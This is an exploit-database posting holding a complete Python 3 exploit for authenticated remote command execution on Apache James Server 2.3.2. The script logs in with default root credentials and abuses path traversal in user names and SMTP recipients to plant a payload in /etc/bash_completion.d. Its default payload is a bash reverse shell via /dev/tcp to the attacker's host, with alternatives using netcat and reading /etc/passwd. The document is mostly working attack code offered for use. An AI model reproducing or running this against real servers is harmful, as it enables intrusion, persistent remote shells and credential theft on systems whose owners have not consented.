Apache James Server 2.3.2 Remote Command Execution

2021.09.28
Credit: shinris3n
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

# Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2) # Date: 27/09/2021 # Exploit Author: shinris3n # Vendor Homepage: http://james.apache.org/server/ # Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip # Version: Apache James Server 2.3.2 # Tested on: Ubuntu # Info: This exploit works on default installation of Apache James Server 2.3.2 # Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d ''' This Python 3 implementation is based on the original (Python 2) exploit code developed by Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec. The following modifications were made: 1 - Made required changes to print and socket commands for Python 3 compatibility. 1 - Changed the default payload to a basic bash reverse shell script and added a netcat option. 2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2. 3 - Added a payload that can be used for testing remote command execution and connectivity. 4 - Added payload and listener information output based on payload selection and user input. 5 - Added execution output clarifications and additional informational comments throughout the code. @shinris3n https://twitter.com/shinris3n https://shinris3n.github.io/ ''' #!/usr/bin/python3 import socket import sys import time # credentials to James Remote Administration Tool (Default - root/root) user = 'root' pwd = 'root' if len(sys.argv) != 4: sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0]) sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0]) sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n") sys.exit(1) remote_ip = sys.argv[1] local_ip = sys.argv[2] port = sys.argv[3] # Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH) payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login #payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell #payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity #payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only print ("[+]Payload Selected (see script for more options): ", payload) if '/bin/bash' in payload: print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port) def recv(s): s.recv(1024) time.sleep(0.2) try: print ("[+]Connecting to James Remote Administration Tool...") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary. s.recv(1024) s.send((user + "\n").encode('utf-8')) s.recv(1024) s.send((pwd + "\n").encode('utf-8')) s.recv(1024) print ("[+]Creating user...") s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8')) s.recv(1024) s.send("quit\n".encode('utf-8')) s.close() print ("[+]Connecting to James SMTP server...") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary. s.send("ehlo team@team.pl\r\n".encode('utf-8')) recv(s) print ("[+]Sending payload...") s.send("mail from: <'@team.pl>\r\n".encode('utf-8')) recv(s) # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8')) recv(s) s.send("data\r\n".encode('utf-8')) recv(s) s.send("From: team@team.pl\r\n".encode('utf-8')) s.send("\r\n".encode('utf-8')) s.send("'\n".encode('utf-8')) s.send((payload + "\n").encode('utf-8')) s.send("\r\n.\r\n".encode('utf-8')) recv(s) s.send("quit\r\n".encode('utf-8')) recv(s) s.close() print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).") if '/bin/bash' in payload: print ("[+]Don't forget to start a listener on port", port, "before logging in!") except: print ("Connection failed.")


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